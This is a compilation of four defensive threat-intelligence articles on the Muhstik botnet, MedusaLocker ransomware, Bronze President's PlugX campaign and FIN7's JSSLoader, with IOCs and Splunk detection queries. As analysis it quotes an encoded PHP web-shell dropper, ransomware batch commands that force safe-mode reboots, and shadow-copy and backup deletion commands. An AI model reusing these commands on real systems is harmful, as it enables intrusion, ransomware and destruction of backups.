Malware is continuously mutating, targeting new services and platforms. The Sysdig Security Research team has identified the famous Muhstik Botnet with new behavior, attacking a Kubernetes Pod with the plan to control the Pod and mine cryptocurrency. A WordPress Kubernetes Pod was compromised by the Muhstik worm and added to the botnet. On the Pod, various types of crypto miners, like `xmra64` and `xmrig64`, were deployed and executed.
This attack confirms what we’ve been seeing for quite some time; crypto miner attacks are on the rise, and they come in many different forms. The fact that cryptocurrency prices are soaring is only making things worse. We will cover the characteristics of Muhstik Malware, the step-by-step of this particular attack, and how to protect your infrastructure against it.
## What is Muhstik Malware?
Muhstik malware has been around since 2017, and it is assumed to be based on a fork of the Mirai code, currently affecting the cloud through several web application exploits. The botnet is monetized via cryptomining and DDoS attack services. It targets a wide variety of web applications, including WordPress, Drupal, WebDAV, Oracle’s WebLogic application server, as well as an assortment of Internet-of-Things (IoT) and Small Office/Home Office (SOHO) devices. Muhstik uses its botnet to mount sizable distributed denial-of-service (DDoS) attacks, but it will also install several cryptocurrency miners on affected systems.
## Step-by-Step Muhstik Behavior
Let’s start with a quick overview of the attack behavior and the main steps executed, from the Pod compromisation to the cryptomining activities. The attack uncovered went as follows:
1. WordPress admin login configured with default credentials in the honeypot account was attacked.
- The `header.php` file was used to upload a malicious PHP page `E3DC4533F48E7161DA720C6FD3591710.php`.
- The malicious PHP code loads files and executes remote commands.
2. The code `pty3` uploaded was executed on the Pod.
3. Then, `pty3` spawned a new process called `ggop6b5pqkmfrfd` and connected to the botnet.
- The file was copied in different directories.
- Created entry in file `rc.local` for persistence.
- Created `/etc/inittab` file using respawn function for persistence.
4. `xmrig64` crypto miner binary was executed on the machine.
5. The malicious remote script was downloaded and executed on the Pod.
- Other `pty` files were downloaded and executed.
6. Then, the `xmra64` crypto binary miner was downloaded from `178.62.105.90` IP addresses and executed on the Pod using the mining pools on the `185.165.171.78`, `185.86.148.14` IP addresses.
Let’s dig deeper into the details of this Muhstik malware, how this botnet works in detail, the exact commands that are run, the communication between the servers, and finally, how to detect this attack with open source Falco.
## Muhstik Malware in Depth
### #1 Initial Access – Encrypted PHP Web Shell
Default WordPress credentials were exploited in our honeypot, and the WordPress `header.php` file was updated with the following string:
```php
<?php if (isset($_GET['t6'])) { $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP6cVfkPgy862xKQhOOAWOK0SBsKKgJRTyuVO0 ?>"; file_put_contents("E3DC4533F48E7161DA720C6FD3591710.php", $data); } ?>
```
To find the real code executed, we need to revert the decryption process starting from the string base64 we have here. In this case, we have a triple encoding:
- Base64 encoding: Method used to encode text or code to better send it without error and bypass detection.
- Rot13 substitution cipher: A simple shifting character rotation of ASCII letters.
- Compression: Gzip compression applied to get ‘text’ which can be used via a web ‘POST’ requests.
Decrypting the code added by the attacker, we can see it is a PHP web shell, used to execute commands and upload files on the Pod.
### #2 Propagation – `pty3` Dropped on the Pod
The first malware file dropped and executed on the Pod using the web shell created was the binary `pty3`. This particular binary was reported for the first time in April 2021, and 32 intelligence sources have confirmed that it is, indeed, malware. There are many versions of `pty3` malware in the wild that are related to the Muhstik botnet; however, it seems to be a recent version.
### #3 Runtime Analysis – `pty3` Malware Executed Inside the Pod
The malware file `pty3` was executed right after it was dropped on the Pod. To follow what `pty3` is doing, we used the open source tool, Sysdig Inspect, to visualize system calls.
#### #3.1 Checking Network Tools Running in the Pod
As the first action, the malware checks if network dump tools are in execution in the Pod. The two binaries checked are `tcpdump` and `strace`. This is a typical process to discover and identify new targets to infect with the malware, using system binaries in the process or GTFOBins.
#### #3.2 Persistence Phase
To ensure the Muhstik malware will be rerun if the process dies or the machine is restarted, the malware needs to spread itself in the Pod and perform some actions. In this case, the `pty3` binary performed special measures to achieve persistence in the machine.
First of all, the `pty3` started copying itself in different directories for persistence purposes:
- `/tmp/pty3`
- `/dev/shm/pty3`
- `/var/tmp/pty3`
- `/var/lock/pty3`
- `/var/run/pty3`
Then, it tried to execute crontab, although the crontab binary wasn’t available inside the Pod. It succeeded instead of executing persistence via `/etc/inittab`, adding the following lines. Using the `respawn` function ensures that if the process dies, it will be respawned automatically without losing the compromised host/Pod.
### #4 Crypto Miners in Action
The goal of the Muhstik botnet, after infecting the victim, is to monetize the resources it infects. Muhstik malware downloads two binaries in the Kubernetes Pods it controls and starts cryptomining.
#### #4.1 `xmrig64` Binary Downloaded and Executed on the Pod
Once the malware infection is complete, after having connected the Pod to the botnet, the attacker uploaded and executed the `xmrig64` binary using the PHP web shell.
#### #4.2 `xmra64` Binary Behavior
Using the `ggop6b5pqkmfrfd` process running in the Pod, the Muhstik botnet downloaded the crypto miner binary `xmra64` from the IP `178.62.105.90`, executing the `wget` and `curl` commands. Once downloaded, `ggop6b5pqkmfrfd` prepared the binary for execution.
### Summary of IOC and Suspicious Activities
**IPs & URLs**
- `http://118.84.24.121:80/wp-content/themes/twentyfifteen/kn`
- `http://167.99.39.134/.x/`
- `http://178.62.105.90:80/wp-content/themes/twentyfifteen/xmra64`
- `185.86.148.14:8081`
- `185.165.171.78:8081`
- `46.149.233.35:8080`
**Files and their MD5:**
- `E3DC4533F48E7161DA720C6FD3591710.php` - `4dc3298cdbf565cc897a922807a2809667535c5a`
- `pty3` - `61586a0c47e3ae120bb53d73e47515da4deaefbb`
- `xmrig64` - `de64b454420c64fc160a9c6c705896ae0e26d8db`
- `xmra64` - `497f4e24464a748c52f92de1fba33551`
**Suspicious Activities**
- `wget` is launched in runtime, not build time.
- Network communication with the miner pool.
- A CPU usage surge due to an unknown process launched.
## Detecting the Muhstik Botnet with Falco
Falco is the CNCF open-source project for runtime threat detection for containers and Kubernetes. One of the benefits of Falco is in leveraging its powerful and flexible rules language. As a result, Falco will generate security events when it finds abnormal behaviors, as defined by a customizable set of rules. Meanwhile, Falco comes with a handful of out-of-the-box detection rules.
### Conclusion
This incident confirms a trend of cryptomining attacks being on the rise, and they are getting more creative as time goes on. The Sysdig research team analyzes other malware, like serv-hello or Shellbot, with similar behavior. As a system administrator, you must use the proper tools to prevent and detect these attacks. Without deep insight into the process activities, file activities, and network activities from your cloud-native environment, and the help from a smart detection engine, it will be hard to detect such an attack. It will be even more difficult to uncover it. |
# Cybereason vs. MedusaLocker Ransomware
**Background**
The MedusaLocker ransomware first emerged in September 2019, infecting and encrypting Windows machines around the world. There have been reports of MedusaLocker attacks across multiple industries, especially the healthcare industry, which suffered a great deal of ransomware attacks during the COVID-19 pandemic. In order to maximize the chances of successful encryption of the files on the compromised machine, MedusaLocker restarts the machine in safe mode before execution. This method is used to avoid security tools that might not run when the computer starts in safe mode. MedusaLocker avoids encrypting executable files, most likely to avoid rendering the targeted system unusable for paying the ransom. To make it even more dangerous, MedusaLocker uses a combination of AES and RSA-2048, making the procedure of brute forcing the encryption practically impossible.
Recently, there have been reports stating that AKO, a variant of MedusaLocker, added an element of blackmail, threatening to release stolen files publicly. This method of blackmail or extortion is starting to gain popularity in the ransomware market as reported by Cybereason earlier this year. Although data leak extortion threats have been found in some of MedusaLocker’s ransom notes, Cybereason did not observe evidence of information actually being exfiltrated by the MedusaLocker ransomware at the time of this research.
## Cybereason Blocks MedusaLocker Ransomware
**Key Points**
1. **High Severity:** The Cybereason Nocturnus Team assesses the threat level as HIGH given the destructive potential of attack.
2. **Encrypting mapped drives:** MedusaLocker encrypts shared network drives of adjacent machines on the network.
3. **Attempted extortion:** The ransom note left by new MedusaLocker variants contains threats to publicly reveal stolen data if payments are not made.
4. **Detected and Prevented:** Cybereason’s platform fully detects and prevents the MedusaLocker ransomware.
## Breaking Down the Attack
Many MedusaLocker infections typically start with two files, a ‘batch’ file and a PowerShell script saved as a ‘txt’ file:
- `qzy.bat`
- `qzy.txt`
### Contents of the Batch file
The `qzy.bat` file deployed by the attackers is designed to create persistence via a Windows Service. The service does the following tasks:
1. Executes a PowerShell script that resides in `C:\Windows\SysWOW6\qzy.txt`, which contains the Ransomware payload.
2. Changes registry keys to allow the service to run in safe mode.
3. Enforce restart in safe mode.
4. Restart the infected host.
```plaintext
sc create purebackup binpath= "%COMSPEC% /C start /b C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -c $km = [IO.File]::ReadAllText('C:\Windows\SysWOW64\qzy.txt'); IEX $km" start= auto DisplayName= "purebackup"
reg add HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\BackupLP /f
reg add HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\BackupLP /ve /d "Service" /f
bcdedit /set {default} safeboot minimal
shutdown /r /f /t 00 & del %0
```
After the machine is restarted in safe mode, the created service executes and the PowerShell script runs. This PowerShell script is a PowerSploit script known as “Invoke-ReflectivePEInjection.” The script reflectively loads the MedusaLocker ransomware to the PowerShell process memory.
### Mutex Detection
The first thing MedusaLocker does is to check if a process with the mutex “{8761ABBD-7F85-42EE-B272-A76179687C63}” exists on the machine. If the mutex already exists, the ransomware will stop its execution.
### CMSTP UAC BYPASS / Privilege Escalation
MedusaLocker uses a known UAC bypass technique also used by other malware such as Trickbot that allows the ransomware to run with escalated privileges that enable it to carry out administrative operations. It achieves privilege escalation by leveraging the built-in Windows tool CMSTP.exe to bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.
### Persistence
MedusaLocker creates a copy of the malware executable in the path: “%AppData%\Roaming\svhost.exe” or “%AppData%\Roaming\svchostt.exe” (depends on the malware variant). It then creates persistence by a scheduled task named “svhost” which executes every 15 minutes.
### Bypassing Security Products
MedusaLocker will attempt to disable or terminate certain processes and security products:
`wxServer.exe`, `wxServerView`, `sqlservr.exe`, `sqlmangr.exe`, `RAgui.exe`, `supervise.exe`, `Culture.exe`, `RTVscan.exe`, `Defwatch.exe`, `sqlbrowser.exe`, `winword`
In addition, it will attempt to disable the following services:
`wrapper`, `DefWatch`, `ccEvtMgr`, `ccSetMgr`, `SavRoam`, `sqlservr`, `sqlagent`, `sqladhlp`, `Culserver`, `RTVscan`, `sqlbrowser`, `SQLADHLP`, `QBIDPService`, `Intuit.Quick`, `usbarbitator64`, `vmware-converter`, `dbsrv12`, `dbeng8`
### Deleting Backups and Preventing Recovery
MedusaLocker uses the following hardcoded commands to remove backups in order to foil any recovery attempts:
- `vssadmin.exe Delete Shadows /All /Quiet` (Deleting all shadow copy volumes)
- `bcdedit.exe /set {default} recoveryenabled No` (Disabling Automatic Startup Repair)
- `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures` (Disabling Windows Error Recovery on startup)
- `wbadmin DELETE SYSTEMSTATEBACKUP` (Deleting backup for Windows Server)
- `wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest` (Deleting the oldest backup on Windows Server)
### Scanning and Propagating to Remote Machines
After a successful infection, the MedusaLocker will scan the entire subnet in order to detect other hosts and shared folders. The ransomware edits the value “EnableLinkedConnections” of the following registry key:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Policies\System`
It does that so it can connect to other adjacent hosts residing on the same network and, in addition, tries to ping the entire subnet to see which hosts are alive.
### Encryption Whitelist Folders
MedusaLocker avoids encrypting executable files as well as taking a whitelisting approach, and encrypts files in most folders with the exception of:
- `%User Profile%\AppData`
- `\ProgramData`
- `\Program Files`
- `\Program Files (x86)`
- `\AppData`
- `\Application Data`
- `\intel`
- `\nvidia`
- `\Users\All Users`
- `\Windows`
### Ransom Note
Although the ransom note of MedusaLocker states that data has been exfiltrated, we have not observed indications of such behavior at the moment by the malware.
## Cybereason Detection and Prevention
Cybereason is able to both detect and prevent the execution of MedusaLocker using the PowerShell protection component. Additionally, when the Anti-Ransomware feature is enabled, behavioral detection techniques in the platform are able to detect the deletion of the shadow copies using `vssadmin.exe`, which will create a Malop for the ransomware behavior.
## Mitre Att&ck Breakdown
- **Execution:** Windows Command Shell, PowerShell
- **Persistence:** Windows Service, Scheduled Task
- **Privilege Escalation:** Bypass User Access Control
- **Defense Evasion:** Dynamic-link Library Injection
- **Lateral Movement:** SMB/Windows Admin Shares
- **Impact:** Data Encrypted for Impact
## IOCs
**MedusaLocker Executables**
- SHA-256:
- 4ae110bb89ddcc45bb2c4e980794195ee5eb85b5261799caedef7334f0f57cc
- a8b84ab6489fde1fab987df27508abd7d4b30d06ab854b5fda37a277e89a2558
- 7593b85e66e49f39feb3141b0d390ed9c660a227042686485131f4956e1f69ff
- bae48fe24d140f4c1c118edbfaee4ab6446c173a0d0b849585a88db3f38f01b8
- d90573cdf776f60a91dc57e8c77dd61adbdaaf205de29faf26afd138c520f487
- ed139beb506a17843c6f4b631afdf5a41ec93121da66d142b412333e628b9db8
- d33b09ddee82c5c439cb0c66e5c1dee9ad5259e912a3979b31c66622fb9d47ea
- 81ca80c8275b0fdfeef2a816a7bf567f8e9a145b03ab96138c527af5c79bbec2
- fb07649497b39eee0a93598ff66f14a1f7625f2b6d4c30d8bb5c48de848cd4f2
- 678069f7847f4a839724fa8574b12619443bbfbc4d65d3d04c3f9aa1ba5fb37a
- d74e297ac85652d1f9c43ca98ff649d7770c155556ba94cf9e665ca645aded0c
- 104ffe0cc10413b8c3dd04fdc921f07c3cc55efba9a63ccdccf45e4012151c5f
- abe330ec7e157293afee2d96489165d3aa0ed9a59252ecf4f3acfa3205ca9d15
- 40fbb2f6850213af595dd27231b06c498f87e62b50e8b883976900cc1afa75e1
- e70a261143213e70ffa10643e17b5890443bd2b159527cd2c408dea989a17cfc
- 9814f9d8a8b129d745d74d3069da69aaf4187146327cb615108e9ed1b5d3c58e
- fd24ff7e838fea836079c4554254768abdce32c4f46148c609a5a676c9e71103
- fc12de55f162cd0645e6f7299f6160d1a3b4c3a665efaf4f8bd891d8139d159e
- f30d2204814204a2295cd5c703591e81cdfe63ee04b0e45d7ed76fe0db4a711b
- 8b9bdc5cf5534d377a6201d1803a5aa0915b93c9df524307118fd61f361bdba2
- b1672fd7ef5f4419f5c74a0829645087e92437f766042bfa3325a2a96610f271
- aae247b1fe640f2c96cbfa508d18d475f3e4c8b29fa117a31d17ba0c4e5caa48
- b1e97cd1ae60622ae83c56c9d15895a24405f949e4bb337e86159bcdd93e138e
- 8597f458f1dcc5ecdf209d9c98b1f72c2fce2486236a3ae73adbe26fb6f9c671
- e2c2a80cb4ecc511f30d72b3487cb9023b40a25f6bbe07a92f47230fb76544f4
- 746c79b5b6030091c37251939690eee31d023de5303544b46032bf89580806e5
- 590ea5fa2db24715d72c276c59434b38d21678d6dcabb41f0e370f6dc56ab26b
- 50a334ff766b053dee01ee1e410eebc5a24144517c59f9317ec47be9b70f6c48
- SHA1:
- e03aedb8b9770f899a29f1939636db43825e95cf
- c87cd85d434e358b85f94cad098aa1f653d9cdbf
- 1bbda98348f0d8d58c6afccd50a76321d02919f9
- 0c1ce8017cfcc24927fff1b00606e8c83c4ebfa7
- 6abac524387a106f73d9ddb5d8a84cb72dad1cdd
- 02a0ea73ccc55c0236aa1b4ab590f11787e3586e
- 212e3254099967712c6690be11ae9d65a8966ffa
- 4bc8175c5fbe088297ec4eb3fa26acd8927530e2
- 86d92fc3ba2b3536893b8e753da9cbae70063a50
- 2ac4359a7db288f07ed39f696e528cb379d2d979
- 820d3dfe29368e3f16f2818e318805d78a6b7d3d
- 7219f91bd5fb94128159d18956e1bd9132bf10e0
- 855b8aeb4160641ecea5710174086ee74d3e42c1
- e5162ede86712df1e602cbf1ca8b205ab113a931
- a35dd292647db3cb7bf60449732fc5f12162f39e
- 7ad1bf03b480ebd2b85b2bc5be4b9140b0ce6d4d
- eef59fd5b71487448bfd44270d909b1441cd537b
- 69c1527fbd840eee87821328ecf1453984ddc73e
- 0fe01b51818c6c7c1556bffb43976a5264b3cc43
- f3e66237577a690ee907deac9ffbf6074a85e7a5
- da237c7bad052c9cb99cbab75b8bc2bdb23b3f65
- 0bcf20885b50d64a876e7b46497b22689cb93d33
- 78bcffb9ee6a7d29e18f66c0138aa3fd3a9225fa
- fc31989737dcf21b73bc0956220852dfab2cb549
- 3e5a80fe286834f6d5f0aaf014a420ec40ebad7d
- f968e5c2314e198f4c0c2a4596d13ee1b6482330
- b209dcdfdd030ae1944507fcd9ef0eaeabe22f21
- 9f5a9707ba0fcd5b695be131dedfdfe3b2d359d9
**MedusaLocker Batch**
- SHA-256:
- 26a11fada1464069571d4114a6fe1b31ccec1c6b34bcdad649d8892348a1cf60
- 4f5540d21d741634a4685f4ee8b9fec238a1251428d482bbded4afcc7461dc38
- SHA1:
- 99ef68421489ed3c5a46c6746e85b225ef554ca0
**MedusaLocker PowerShell Loader**
- SHA-256:
- 5d4abf7721e27760bcac238c05ade2ccc5ee4a842ad3b488462b156a26c34407
- 7af23ee3ad9d4822c371936037ff823a719c9ab877973e32690b0dadceb55792
- SHA1:
- 59c5977faf16b6abe18a177aa8979a0534b4425c
- 283714fbd1cc3e54af1049f21397a83524a2f79f |
# Chinese APT Bronze President Mounts Spy Campaign on Russian Military
**Jai Vijayan**
**April 27, 2022**
**Threat Intelligence**
The war in Ukraine appears to have triggered a change in mission for the APT known as Bronze President (aka Mustang Panda). China's tacit support for Russia's war in Ukraine apparently doesn't preclude likely China-backed cyber actors from mounting espionage campaigns on the Russian military.
Researchers from Secureworks' Counter Threat Unit recently discovered malware that suggests Bronze President is now targeting Russian military personnel and officials. The security vendor described the effort as an example of how political changes can push countries into new territory for surreptitious information-gathering efforts, even against friends and allies.
## Cyberespionage Campaign Delivers PlugX
According to the report, the heavily obfuscated malicious executable being used in the campaign is designed to appear as a Russian-language PDF document pertaining to Russia's 56th Blagoveshchenskiy Red Banner Border Guard Detachment (which is deployed near Russia's border with China). The file is designed so that default Windows settings do not display its .exe extension.
Secureworks explained that the executable file displays a decoy document written in English, though the filename itself is in Russian. The document appears to be legitimate and contains data pertaining to asylum applications and migratory pressure in the three countries that border Belarus — Poland, Lithuania, and Latvia. The content also includes commentary on European Union sanctions against Belarus for its role in the war in Ukraine.
When executed, the file downloads three additional files from a staging server. One of them is a legitimate signed file from Global Graphics Software, a UK-based firm. The file uses DLL search-order hijacking to import an updated version of PlugX, a remote-access Trojan (RAT) that has been previously associated with Bronze President.
"DLL search-order hijacking has been around for years," says Mike McLellan, director of intelligence at Secureworks. "It's a well-known technique by threat actors in which they maliciously use a legitimate executable file, often from a well-known vendor, together with a malicious library file (DLL), to load and execute an encrypted malware payload." Threat actors use the technique because it ensures that the malicious payload file on a compromised system is never sitting around on disk in a manner that scanners and anti-malware can detect. "This technique has been a staple of several China-nexus threat groups for many years," McLellan says.
As part of the attack chain, the threat actors have also included a ping command that adds a significant delay before executing the legitimate signed file, Secureworks said — a generic evasion technique to introduce a time lag while files are downloaded to the victim. The staging server that Secureworks observed the threat actor using in the current campaign hosts a domain that Proofpoint earlier this year linked to a PlugX campaign against diplomatic entities in Europe. The security vendor determined that campaign to be motivated by matters related to the war in Ukraine as well. The same domain has also been linked to Bronze President attacks in 2020 that Secureworks observed against the Vatican.
## A New Set of Victims for Bronze Panda
Bronze President is a threat group that has been active since at least 2018, according to the researchers. Secureworks and others have assessed the group as being China-based and likely sponsored by — or operating with the knowledge of — the Chinese government. The group has been associated with numerous attacks on nongovernmental organizations and others, mostly in Asia but to some extent in other countries. Last year, for example, researchers from McAfee spotted the threat actor conducting a major cyber espionage operation targeting telecommunication companies in the US, Asia, and Europe.
The latest campaign represents a departure from the usual for the group, since it targets Russian entities, according to McLellan: "This is substantially different to what we have seen over the past two years where Bronze President has been about 90% focused on Myanmar and Vietnam. We believe they still have a mission in the Asia region, but this has been a bit of a departure for them." |
# FIN7 Tools Resurface in the Field – Splinter or Copycat?
This blog is part 1 and covers FIN7, a highly-skilled group, and the two tools. To find a walkthrough of Remcos executed via Splunk's Attack Range Local, check out part 2, Detecting Remcos Tool Used by FIN7 with Splunk.
FIN7 is a well-organized criminal group composed of highly-skilled individuals that target financial institutions, hospitality, restaurant, and gambling industries. Until recently, it was known that high-level individuals of this criminal enterprise were arrested — specifically 3 of them — and extradited to the United States. This criminal group performed highly technical malicious campaigns which included effective compromise, exfiltration, and fraud using stolen payment cards. Another heist related to the history of this group and actors includes withdrawing money from ATMs, bypassing all controls.
Carbanak and FIN7 are usually referred to as the same group, although some security researchers believe they might be two groups using the same malware and should be tracked separately. Without delving deeper into the assumptions of being two different groups, however, we can take a look at their tools which is what we can measure via payload samples and research from the community.
FIN7 is a particular group highly specialized in targeting specific verticals. These individuals carefully and thoroughly pretexted and pursued their victims in some cases to establish rapport via conversations in order to lure their victims into clicking on their malicious payloads.
According to the Department of Justice, FIN7 group stole approximately 15 million cards in the United States. This group was significantly successful in its criminal enterprise, including the creation of an apparent Information Security Technology company where they kept track of their victims using off-the-shelf software like Atlassian JIRA.
Due to the notoriety, extent, and sophistication of this group and the tools they use, we are going to particularly focus on FIN7 tools, techniques, and procedures. Recently, a specific tool which is a signature of this group known as the JSS loader has apparently resurfaced, indicated by reports from some security research sites and mentioned in some security publications.
Based on previous arrests of what was thought to be some of the main characters of this organization, we need to ask ourselves: is this a splinter from a former group trying to get business back online, or is this a copycat using the former tools, rewriting them and even attempting to reuse former infrastructure from past campaigns? Or basically, the group was indeed not affected by arrests and decided to lay low and then reappear as reported recently by Recorded Future.
We do not have enough information to respond to the above questions; however, we can prepare ourselves to defend against this group by looking at their tools. In this two-part blog, we are going to address two tools used by this group — JSS Loader and Remcos.
## FIN7 Javascript
FIN7 is well known to use a spear-phishing campaign to compromise a machine by downloading or executing an obfuscated javascript as the first stage. We analyze old and the latest script found in the wild to summarize all possible behavior it may execute in the targeted machine.
### Javascript Execution Using .XSL File
One interesting behavior we saw in one of these variants is how it executes the malicious javascript. First, it will create a copy of legitimate wmic.exe in the “user\public” folder, as well as the .xsl file that will be executed using the command `wmic os get /format:"<malicious>.xsl"`. Then the .xsl will execute the actual malicious javascript in the .txt file extension.
We can also see how it uses the cscript.exe application to execute the malicious javascript by using the command `cscript //e:jscript ibivigi.txt`. This JS is capable of gathering information to the compromised host by executing several WMI query commands. Below is the WMI query we saw during our analysis.
| WMI Query | Information It Gathers and Checks |
|-----------|------------------------------------|
| select * from Win32_NetworkAdapterConfiguration where ipenabled = true | MACAddress, DNSHostName |
| SELECT * FROM Win32_BIOS | SMBIOSBIOSVersion, BIOS SerialNumber, check virtualization |
| Win32_process.Handle | Process Handle |
| cmd /c whoami /groups | Check elevated privilege cmd instance |
| Select * from Win32_ComputerSystem | Check if part of the domain, PC model, DNS hostname |
| select * from Win32_DesktopMonitor | Check Screen size, and Monitor Type |
| select * from win32_process | Enumerate process, check virtualization |
Aside from the table above, it queries WMI “Win32_OperatingSystem” to check several items. It checks if the host has an enabled UAC by querying the “EnableLua” Registry and saves the output as part of its data gathering.
It will also try to gather AD information by running ActiveXObject “ADSystemInfo” to check if the host is part of the domain or not.
### Data Exfiltration
After gathering all that information, it will be encrypted and sent to its C2 server using the HTTP POST Request command. We also found some variants where it uses DNS exfiltration of data. With this feature, it will encrypt first all the gathered data, encode it to base64, then query the C2 DNS server using nslookup application with the encoded data to it.
## JSSLoader
FIN7 also has some binary backdoor tools that will do a collection of data from the compromised host and send it to its C2 server. Some variants of JSSloader are compiled to .NET and some are in C++.
### C2 Server Communication
In both JSSloader samples, we've seen that it is capable of communicating to its C2 server to request commands and exfiltrate collected data from the compromised machine. Below is the user-agent it uses in those samples:
- .NET compiled of JSSloader
- JSSloader compiled C++
### Collection of Data
Like the obfuscated JScript, it is also capable of collecting data by using WMI query in “Win32_ComputerSystem”, “Win32_Product” and “Win32_Process”. Additionally, both variants have a function that will list all the files on the desktop of the compromised host that will also send to its C2 server.
There is also a feature in the .NET version of JSSloader where it runs Windows command-line tools like ipconfig.exe and systeminfo.exe then pipes the output to another function that collects and exfiltrates data.
### Taking a Screenshot
Another feature identified is taking a screenshot of the compromised host. The screenshot image will not be dropped on the disk; rather, it will be saved in a memory stream that will be encoded to base64 and sent to its C2 server.
### Parsing Browser Databases
It also has some functions that parse the browser information like history and URL visits of users in both Chrome and Firefox applications. This is done by accessing the SQLite database of those browsers and executing SQL queries to its database.
### Detections
- **Jscript Execution Using Cscript App (New)**
`| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = "cscript.exe" AND Processes.parent_process = "*//e:jscript*") OR (Processes.process_name = "cscript.exe" AND Processes.process = "*//e:jscript*") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **XSL Script Execution With WMIC (New)**
`| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = "*os get*" Processes.process="*/format:*" Processes.process = "*.xsl*" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **Non-Chrome Process Accessing Chrome Default Dir (New)**
`wineventlog_security` EventCode=4663 NOT (process_name IN ("*\\chrome.exe", "*\\explorer.exe", "*sql*")) Object_Name="*\\Google\\Chrome\\User Data\\Default*" | stats count min(_time) as firstTime max(_time) as lastTime by Object_Name Object_Type process_name Access_Mask Accesses process_id EventCode dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **Non-Firefox Process Access Firefox Profile Dir (New)**
`wineventlog_security` EventCode=4663 NOT (process_name IN ("*\\firefox.exe", "*\\explorer.exe", "*sql*")) Object_Name="*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles*" | stats count min(_time) as firstTime max(_time) as lastTime by Object_Name Object_Type process_name Access_Mask Accesses process_id EventCode dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **Office Application Drop Executable Unit Test (New)**
`sysmon` EventCode=11 Image IN ("*\\winword.exe","*\\excel.exe","*\\powerpnt.exe","*\\mspub.exe","*\\visio.exe","*\\TargetFilename IN ("*.exe","*.dll","*.pif","*.scr","*.js","*.vbs","*.vbe","*.ps1") AND NOT(TargetFilename IN ("*\\program files*","*\\windows\\*")) | stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename ProcessGuid dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **Cmdline Tool Not Executed In CMD Shell (New)**
`| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = "ipconfig.exe" OR Processes.process_name = "systeminfo.exe") AND NOT (Processes.parent_process_name = "cmd.exe" OR Processes.parent_process_name = "powershell*" OR Processes.parent_process_name = "explorer.exe") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **Check Elevated CMD using whoami (New)**
`| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = "*whoami*" Processes.process = "*/group*" Processes.process = "* find *" Processes.process = "*12288*" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **MS Scripting Process Loading WMI Module (New)**
`sysmon` EventCode =7 Image IN ("*\\wscript.exe", "*\\cscript.exe") ImageLoaded IN ("*\\fastprox.dll", "*\\wbemdisp.dll", "*\\wbemprox.dll", "*\\wbemsvc.dll", "*\\wmiutils.dll", "*\\wbemcomn.dll") | stats min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) as AllImageLoaded count by Image EventCode process_name ProcessId ProcessGuid Computer | where count >= 5 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
- **MS Scripting Process Loading Ldap Module (New)**
`sysmon` EventCode =7 Image IN ("*\\wscript.exe", "*\\cscript.exe") ImageLoaded IN ("*\\Wldap32.dll", "*\\adsldp.dll", "*\\adsldpc.dll") | stats min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) as AllImageLoaded count by Image EventCode process_name ProcessId ProcessGuid Computer | where count >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
### Detection Techniques
- **Jscript Execution Using Cscript App (New)** - T1059.007
- **XSL Script Execution With WMIC (New)** - T1220
- **Non-Chrome Process Accessing Chrome Default Dir (New)** - T1555.003
- **Non-Firefox Process Access Firefox Profile Dir (New)** - T1555.003
- **Office Application Drop Executable Unit Test (New)** - T1566.001
- **Cmdline Tool Not Executed In CMD Shell (New)** - T1059.007
- **Check Elevated CMD using whoami (New)** - T1033
- **MS Scripting Process Loading WMI Module (New)** - T1059.007
- **MS Scripting Process Loading Ldap Module (New)** - T1059.007
### Hashes
| Filename | Hashes SHA1 |
|----------|--------------|
| JSSloader | 48864921c6a905d34a413279b31d4bb719b59898 |
| Macro contain JSSloader | 895cbed43d27d42e7a021eb7a7f811f58896d8c7 |
| Macro with JS implant | a37e708427b777cf3cd780fa611cc4983a40d7fd |
| Latest JS script | 731828ded8ba3d0e9ba21b58620f303efd04846f |
| JSSloader .net | 53F92D0B56B3EADD97E77684C9C374DB08B654F8 |
## Contributors
We would like to thank the following for their contributions to this post:
- Teoderick Contreras
- Rod Soto
Posted by Splunk Threat Research Team
